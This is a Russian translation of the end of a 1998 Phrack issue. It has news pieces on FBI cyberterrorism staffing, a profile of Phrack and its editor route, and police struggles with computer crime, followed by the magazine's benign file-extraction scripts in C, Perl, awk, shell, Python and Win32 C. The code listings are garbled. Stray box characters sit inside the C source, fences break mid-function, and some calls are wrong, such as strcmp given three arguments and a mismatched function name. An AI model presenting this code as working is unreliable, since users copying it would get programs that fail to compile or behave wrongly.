Аллан Паллер, директор по исследованиям Института SANS, сообщил, что ФБР укомплектовывает новый объект лучшими правительственными экспертами по безопасности. «Они переманивают людей из хороших мест, в том числе одну очень способную женщину из Министерства энергетики, — сказал он в недавнем интервью. — Они берут блестящих людей».

Паллер также сообщил, что в Вашингтоне разворачивается низовое движение за создание Национального центра по вторжениям по образцу Центров по контролю и профилактике заболеваний.

«Определённо существует возросшая угроза кибертерроризма», — сказал Стивен Берри, пресс-секретарь пресс-офиса ФБР в Вашингтоне.

По мере того как оффлайн-протесты — защищённые в США Конституцией — вступают в следующий цифровой век, вопрос остаётся открытым: как ФБР будет проводить различие между относительно безобидными онлайн-политическими протестами и кибертерроризмом?

---

## **0x20: Phrack балансирует между мирами хакеров**

**Источник:** Nando Times

**Дата:** 20 сентября 1998 г.

Строки текста быстро прокручивались по экрану, но хакер с обесцвеченными волосами успевал бросать взгляды на журнал посетителей своей веб-страницы. Много посетителей с военных и государственных компьютеров. Хакер, называющий себя Route, говорит, что всегда получает удовольствие от визитов федералов. Он улыбнулся.

ФБР, ЦРУ и другие «не выполняли бы свою работу, если бы не отслеживали компьютерную информацию — как легальную, так и нелегальную, — сказал Route. — Думаю, Phrack находится где-то посередине».

Phrack — онлайн-издание, называемое «зином». Это цифровая химера: написано для хакеров, но читается и правоохранительными органами. Оно было предметом федерального уголовного преследования, однако по-прежнему работает открыто. Его название сочетает слова «hack» и «phreak» — последнее означает телефонный взлом.

В нём есть позиция, технические знания и во многих отношениях оно определяет сегодняшнюю хакерскую сцену. Впервые оно появилось на электронных форумах 17 ноября 1985 года — по хакерским меркам целую вечность назад.

Чтобы дать представление о его долголетию: Phrack вышел через два года после фильма «WarGames», в котором актёр Мэтью Бродерик закрепил ставший уже клише образ хакера — одинокого мальчишки, меняющего свои оценки с помощью компьютера. Phrack появился почти на десять лет раньше Всемирной паутины. И Phrack старше многих своих читателей, которых насчитывается около 8 000, сказал Route, отказывающийся называть своё настоящее имя.

Route, 24 года, не похож на тощего компьютерного задрота с бледным от монитора лицом, каким многие представляют хакеров. Серебряные серьги свисают из каждого уха, штанга проколота в языке. Паучьи татуировки ползут по плечам и на бицепсы, налитые часами работы с железом.

За его мрачным взглядом скрывается острый ум, разрубающий сетевые проблемы, как цифровой нож, — бесценный навык для его дневной работы в компании по компьютерной безопасности с клиентами из Fortune 500. Название своей компании Route называть отказался.

Невероятная история Phrack началась в 1985 году, когда хакер с псевдонимом Taran King собрал воедино различные подрывные тексты, ходившие подобно советскому самиздату по архипелагу подпольных электронных форумов. В них было всякое: «Как вскрыть замок Master», «Как сделать ацетиленовую бомбу» и «Номера дозвола компьютеров учебных заведений».

Phrack оказался в центре федерального уголовного преследования в 1990 году, когда редактор Крейг Нейдорф, также известный как Knight Lightning, был привлечён к ответственности Чикагской оперативной группой по мошенничеству в сфере компьютеров и злоупотреблениям. Его предполагаемое преступление? Он опубликовал в Phrack документ с определёнными деталями систем экстренной помощи 911, используемых по всей стране. Документ был передан ему другим хакером, скопировавшим его с компьютеров BellSouth, которая оценила его почти в \$80 000.

Но оперативная группа хотела доказать, что документ не просто ценен. Помощник прокурора США Уильям Дж. Кук заявил, что он поместил опасную информацию в руки хакеров.

Дело рассыпалось, когда адвокат Нейдорфа доказал, что более подробная информация о системе появлялась в других публикациях. Её можно было заказать из технических каталогов телефонных компаний за \$13. Обвинения были сняты. Судебный процесс над Нейдорфом завершился.

Если сегодняшний Phrack несколько менее конфронтационен, это объяснимо. Как и многие старые хакеры, Route смещает фокус от анархических текстов и телефонного взлома к компьютерной безопасности. Его «инструкционные» дни в значительной мере позади.

«Phrack не предназначен быть руководством по уязвимостям», — сказал он.

Как редактор, Route понимает, что Phrack по-прежнему может использоваться в незаконных целях. «Но нельзя полностью привлекать людей к ответственности просто за то, что они публикуют информацию».

По его словам, ему присылали «откровенно незаконные материалы». Однажды он получил технические характеристики большинства пейджинговых систем, используемых в стране, — вместе с подробным описанием, как их взломать. Он не опубликовал.

«Это оценочное суждение, — сказал он. — У меня нет намерения входить в конфликт с законом или (беспокоить) военных».

Но почти гарантировано, что что-то почерпнутое из Phrack будет использовано против компьютерной системы крупной и влиятельной организации или бизнеса.

«Тусовка будет делать то, что она будет делать, — сказал он. — Это как любая клика в обществе. Есть хорошие люди и есть плохие».

---

## **0x21: Полиция слабо надеется на контроль над компьютерной преступностью**

**Автор:** Роб Лемос

**Источник:** ZDNN

**Дата:** 6 августа 1998 г., 10:16 AM PT

Несмотря на достигнутый прогресс в борьбе с высокотехнологичными преступниками, сотрудники правоохранительных органов говорят, что по-прежнему обеспокоены своей способностью расследовать и преследовать киберпреступления. Шифрование, анонимность и юрисдикционные проблемы, создаваемые глобальным интернетом, быстро превращаются из маленьких головных болей в полноценные мигрени для местной, региональной и федеральной полиции.

«Трудно предсказать, где мы окажемся через 10 лет, — сказал Скотт Чарни, начальник отдела компьютерных преступлений и интеллектуальной собственности Министерства юстиции США. — Но будет всякого рода родовые боли». Чарни собрался здесь с другими компьютерно-грамотными сотрудниками правоохранительных органов для участия в международном симпозиуме по вопросам уголовного правосудия в Университете Иллинойса в Чикаго. Симпозиум был сосредоточен на высокотехнологичной преступности, кибертерроризме и информационной войне.

### **Невидимые преступники**

Сотрудники правоохранительных органов говорят, что одна из их наибольших задач — как это ни парадоксально — заключается в том, чтобы знать, когда совершается преступление.

По данным Государственного контрольного управления, в 1995 году было 250 000 попыток взлома Министерства обороны. По оценкам NASA, взломщики — хакеры-преступники — проникли в более чем 120 000 её систем в 1996 году. Тем не менее немногие из этих инцидентов обнаруживаются, а тем более сообщаются. Когда хакеры Министерства обороны взламывали собственные серверы в 1996 и 1997 годах, они атаковали 38 000 машин. Только четыре процента инцидентов были обнаружены. Из этого числа только 27 процентов обнаруженных взломов были доложены.

«Мы улучшимся, — сказала Дорис Гарднер, следователь Национального центра защиты инфраструктуры, нового федерального агентства, созданного для борьбы с компьютерными преступлениями. — Нам нужно обучаться — лучше взаимодействовать друг с другом».

## Ящик Пандоры

Но даже когда правоохранительные органы обучаются с учётом предстоящих испытаний, эксперты говорят, что киберпреступники продолжают совершенствовать свои способности.

По словам Чарни из Министерства юстиции, число дел, связанных с зашифрованными данными, выросло с трёх процентов в 1996 году до семи процентов в 1997-м. Если тенденция сохранится, сказал он, единственной оставшейся тактикой для правоохранительных органов станет расширение возможностей наблюдения.

«Если сторонники конфиденциальности добьются своего в вопросе шифрования, — сказал Чарни, — им может это не понравиться».

Не имея возможности читать зашифрованные электронные документы, добавил он, ФБР и другие ведомства будут вынуждены полагаться на захват доказательств у источника. «А это действительно может серьёзно подорвать конфиденциальность».

Впрочем, есть и другие пути обхода шифрования. В 1996 году, когда провайдер сообщил о взломе своей системы, все следы ФБР заходили в тупик. К счастью, взломщик, Карлос Сальгадо-мл. — укравший более 100 000 номеров кредитных карт стоимостью более \$160 млн — нашёл потенциального покупателя, который заподозрил, что его кредитная карта входит в число продаваемых. «Покупатель» связался с ФБР и стал добровольным свидетелем по делу.

Несмотря на широкое использование Сальгадо шифрования — и его электронная переписка, и фактические данные о кредитных картах были зашифрованы — ФБР не имело проблем со сбором доказательств, поскольку их свидетель получил все коды от Сальгадо.

Удача или тенденция? Пока рано говорить, но Гарднер, по крайней мере, кажется оптимистичной в отношении способности ФБР привлекать к ответственности. «Если мы знаем об этом, — сказала она, — как правило, мы можем это преследовать».

---

---[ EOF

# extract3.c

**Автор:** Phrack Staff

Новинка этого выпуска: версия для Win32.

---

```
<++> EX/PMEU/extract3.c
/*  extract.c by Phrack Staff and sirsyko
 *
 *  (c) Phrack Magazine, 1997, 1998
 *      version 3 (P54): 07.14.98
 *          - patched by Cipso to allow for redirection from stdin
 *          - patched by route to return heap memory when no longer needed
 *      version 2 (P53): 01.08.98 rewritten by route
 *          - aesthetics
 *          - now accepts file globs
 *      todo:
 *          - more info in tag header (file mode, checksum)
 *
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical
 *  directory strcuture.  Use to extract source code from any of the articles
 *  in Phrack Magazine (first appeared in Phrack 50).
 *
 *  gcc -o extract extract.c
 *
 *  Usage:
 *
 *  ./extract file1 file2 file3 ...
 *      OR
 *  bzip2 -dc P54-*.bz2 | ./extract -
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <errno.h>
#include <dirent.h>

#define BEGIN_TAG    "<++> "
#define END_TAG      "<-->"
#define BT_SIZE      strlen(BEGIN_TAG)
#define ET_SIZE      strlen(END_TAG)

struct f_name
{
    u_char name[256];
    struct f_name *next;
};

int
main(int argc, char **argv)
{
    u_char b[256], *bp, *fn;
    int i, j = 0;
    FILE *in_p, *out_p = NULL;
    struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;
    char *name;

    if (argc < 2)
    {
        printf("Usage: %s file1 file2 ... filen\n", argv[0]);
        exit(0);
    }
    /*
```

```

* Fill the f_name list with all the files on the commandline (ignoring
* argv[0] which is this executable). This includes globs.
*/
for (i = 1; (fn = argv[i++]); )
{
    if (!head)
    {
        if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
        {
            perror("malloc");
            exit(1);
        }
        strncpy(head->name, fn, sizeof(head->name));
        head->next = NULL;
        fn_p = head;
    }
    else
    {
        if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
        {
            perror("malloc");
            exit(1);
        }
        fn_p = fn_p->next;
        strncpy(fn_p->name, fn, sizeof(fn_p->name));
        fn_p->next = NULL;
    }
}
/*
* Sentry node.
*/
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
    perror("malloc");
    exit(1);
}
fn_p = fn_p->next;
fn_p->next = NULL;

/*
* Check each file in the f_name list for extraction tags.
*/
for (fn_p = head; fn_p->next;)
{
    if (!strcmp(fn_p->name, "-"))
    {
        in_p = stdin;
        name = "stdin";
    }
    else if (!(in_p = fopen(fn_p->name, "r")))
    {
        fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
        continue;
    }
    else
    {
        name = fn_p->name;
    }
    fprintf(stderr, "Opened %s\n", name);

    while (fgets(b, 256, in_p))
    {
        if (!strncmp(b, BEGIN_TAG, BT_SIZE))
        {
            b[strlen(b) - 1] = 0;          /* Now we have a string. */
            j++;

            if ((bp = strchr(b + BT_SIZE + 1, '/'))
            {
                while (bp)
                {

```



```

□□      *bp = 0;
□□      if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
        {
            perror("mkdir");
            exit(1);
        }

□□      *bp = '/';
□□      bp = strchr(bp + 1, '/');
□□      }

        }
        if ((out_p = fopen(b + BT_SIZE, "w"))
        {
            printf("- Extracting %s\n", b + BT_SIZE);
        }
        else
        {
□□      printf("Could not extract '%s'.\n", b + BT_SIZE);
□□      continue;
□      }
□      }

        else if (!strncmp (b, END_TAG, ET_SIZE))
        {
□      if (out_p) fclose(out_p);
□      else
        {
            fprintf(stderr, "Error closing file %s.\n", fn_p->name);
            continue;
        }
        }
        else if (out_p)
        {
            fputs(b, out_p);
        }
        }
        if (in_p != stdin) fclose(in_p);
        tmp = fn_p;
        fn_p = fn_p->next;
        free(tmp);
    }
    if (!j) printf("No extraction tags found in list.\n");
    else printf("Extracted %d file(s).\n", j);
    return (0);
}

/* EOF */
<-->

```

---

## extract.pl

```

<+> EX/PMEU/extract.pl
# Daos <daos@nym.alias.net>
#!/bin/sh -- # -*- perl -*- -n
eval 'exec perl $0 -S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+>/) {$curfile = substr($_, 5); $opening=1;};
if (/^\<\->/) {close ct_ex; $opened=0;};
if ($opening) {
    chop $curfile;
    $sex_dir= substr( $curfile, 0, ((rindex($curfile, '/')) ) if ($curfile =~ m/\//);
    eval {mkdir $sex_dir, "0777"};
    open(ct_ex,">$curfile");
    print "Attempting extraction of $curfile\n";
    $opened=1;
}

```

```

if ($opened && !$opening) {print ct_ex $_};
<-->

```

---

## extract.awk

```

<+> EX/PMEU/extract.awk
#!/usr/bin/awk -f
#
# Yet Another Extraction Script
# - <sirsyko>
#
/^\<\+\+\>/ {
    ind = 1
    File = $2
    split ($2, dirs, "/")
    Dir="."
    while ( dirs[ind+1] ) {
        Dir=Dir"/"dirs[ind]
        system ("mkdir " Dir" 2>/dev/null")
        ++ind
    }
    next
}
/^\<\-\-\>/ {
    File = ""
    next
}
File { print >> File }
<-->

```

---

## extract.sh

```

<+> EX/PMEU/extract.sh
#!/bin/sh
# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko>
#
# note, this file will create all directories relative to the current directory
# originally a bug, I've now upgraded it to a feature since I dont want to deal
# with the leading / (besides, you dont want hackers giving you full pathnames
# anyway, now do you :)
# Hopefully this will demonstrate another useful aspect of IFS other than
# haxoring rewt
#
# Usage: ./extract.sh <filename>

cat $* | (
Working=1
while [ $Working ];
do
    OLDIFS1="$IFS"
    IFS=
    if read Line; then
        IFS="$OLDIFS1"
        set -- $Line
        case "$1" in
            "<+>") OLDIFS2="$IFS"
                    IFS=/
                    set -- $2
                    IFS="$OLDIFS2"
                    while [ $# -gt 1 ]; do
                        File=${File:-"."}/$1

```

```

        if [ ! -d $File ]; then
            echo "Making dir $File"
            mkdir $File
        fi
        shift
    done
    File=${File:-"./"}/$1
    echo "Storing data in $File"
;;
"<-->") if [ "x$File" != "x" ]; then
        unset File
    fi ;;
*)      if [ "x$File" != "x" ]; then
            IFS=
            echo "$Line" >> $File
            IFS="$OLDIFS1"
        fi
    ;;
esac
IFS="$OLDIFS1"
else
    echo "End of file"
    unset Working
fi
done
)
<-->

```

---

## extract.py

```

<++> EX/PMEU/extract.py
#! /bin/env python
# extract.py    Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:
    """Looks like a file, but doesn't do anything."""
    def write(self, data): pass
    def close(self): pass

def extract(input, verbose = 1):
    """Read a file from input until we find the end token."""

    if type(input) == type('string'):
        fname = input
        try: input = open(fname)
        except IOError, (errno, why):
            print "Can't open %s: %s" % (fname, why)
            return errno
    else:
        fname = '<file descriptor %d>' % input.fileno()

    inside_embedded_file = 0
    linecount = 0
    line = input.readline()
    while line:

        if not inside_embedded_file and line[:4] == '<++>':

            inside_embedded_file = 1
            linecount = 0

            filename = string.strip(line[4:])
            if mkdirs_if_any(filename) != 0:
                pass

```

```

        try: output = open(filename, 'w')
        except IOError, (errno, why):
            print "Can't open %s: %s; skipping file" % (filename, why)
            output = Datasink()
            continue

        if verbose:
            print 'Extracting embedded file %s from %s...' % (filename,
                                                             fname),

    elif inside_embedded_file and line[:4] == '<-->':
        output.close()
        inside_embedded_file = 0
        if verbose and not isinstance(output, Datasink):
            print "[%d lines]" % linecount

    elif inside_embedded_file:
        output.write(line)

    # Else keep looking for a start token.
    line = input.readline()
    linecount = linecount + 1

def makedirs_if_any(filename, verbose = 1):
    """Check for existence of /'s in filename, and make directories."""

    path, file = os.path.split(filename)
    if not path: return

    errno = 0
    start = os.getcwd()
    components = string.split(path, os.sep)
    for dir in components:
        if not os.path.exists(dir):
            try:
                os.mkdir(dir)
                if verbose: print 'Created directory', path

            except os.error, (errno, why):
                print "Can't make directory %s: %s" % (dir, why)
                break

        try: os.chdir(dir)
        except os.error, (errno, why):
            print "Can't cd to directory %s: %s" % (dir, why)
            break

    os.chdir(start)
    return errno

def usage():
    """Blah."""
    die('Usage: extract.py [-V] filename [filename...]\n')

def main():
    try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = ['-v', filename]
    pdb.run('extract.main()')

```

```

def die(msg, errcode = 1):
    print msg
    sys.exit(errcode)

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass
<-->

```

---

## extract-win.c (версия для Win32)

```

<+> EX/PMEU/extract-win.c
/*****
/* WinExtract
/*
/* Written by Fotonik <fotonik@game-master.com>.
/*
/* Coding of WinExtract started on 22aug98.
/*
/* This version (1.0) was last modified on 22aug98.
/*
/* This is a Win32 program to extract text files from a specially tagged
/* flat file into a hierarchical directory structure. Use to extract
/* source code from articles in Phrack Magazine. The latest version of
/* this program (both source and executable codes) can be found on my
/* website: http://www.altern.com/fotonik
*****/

#include <stdio.h>
#include <string.h>
#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
                  LPSTR lpszArgs, int nWinMode)
{
    OPENFILENAME OpenFile; /* Structure for Open common dialog box */
    char InFileName[256]="";
    char OutFileName[256];
    char Title[]="WinExtract - Choose a file to extract files from.";
    FILE *InFile;
    FILE *OutFile;
    char Line[256];
    char DirName[256];
    int FileExtracted=0; /* Flag used to determine if at least one file was */
    int i; /* extracted */

    ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
    OpenFile.lStructSize=sizeof(OPENFILENAME);
    OpenFile.hwndOwner=HWND_DESKTOP;
    OpenFile.hInstance=hThisInst;
    OpenFile.lpstrFile=InFileName;
    OpenFile.nMaxFile=sizeof(InFileName)-1;
    OpenFile.lpstrTitle=Title;
    OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

    if(GetOpenFileName(&OpenFile))
    {
        if((InFile=fopen(InFileName,"r"))==NULL)
        {
            MessageBox(NULL,"Could not open file.",NULL,MB_OK);
            return 0;

```

```

    }

    /* If we got here, InFile is opened. */
    while(fgets(Line,256,InFile))
    {
        if(!strcmp(Line,"<+> ",5)) /* If line begins with "<+> " */
        {
            Line[strlen(Line)-1]='\0';
            strcpy(OutFileName,Line+5);

            /* Check if a dir has to be created and create one if necessary */
            for(i=strlen(OutFileName)-1;i>=0;i--)
            {
                if((OutFileName[i]=='\\')||(OutFileName[i]=='/'))
                {
                    strncpy(DirName,OutFileName,i);
                    DirName[i]='\0';
                    PowerCreateDirectory(DirName);
                    break;
                }
            }

            if((OutFile=fopen(OutFileName,"w"))==NULL)
            {
                MessageBox(NULL,"Could not create file.",NULL,MB_OK);
                fclose(InFile);
                return 0;
            }

            /* If we got here, OutFile can be written to */
            while(fgets(Line,256,InFile))
            {
                if(strcmp(Line,"<-->",4)) /* If line doesn't begin w/ "<--> " */
                {
                    fputs(Line, OutFile);
                }
                else
                {
                    break;
                }
            }
            fclose(OutFile);
            FileExtracted=1;
        }
    }
    fclose(InFile);
    if(FileExtracted)
    {
        MessageBox(NULL,"Extraction sucessful.", "WinExtract",MB_OK);
    }
    else
    {
        MessageBox(NULL,"Nothing to extract.", "Warning",MB_OK);
    }
}
return 1;
}

/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)
{
    int i;
    int DirNameLength=strlen(DirectoryName);
    char DirToBeCreated[256];

    for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
    {
        /* create '/' */
        if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/'))
            (i==DirNameLength-1))

```

```
        {
            strncpy(DirToBeCreated,DirectoryName,i+1);
            DirToBeCreated[i+1]='\0';
            CreateDirectory(DirToBeCreated,NULL);
        }
    }
    <-->
```

---

*Конец файла*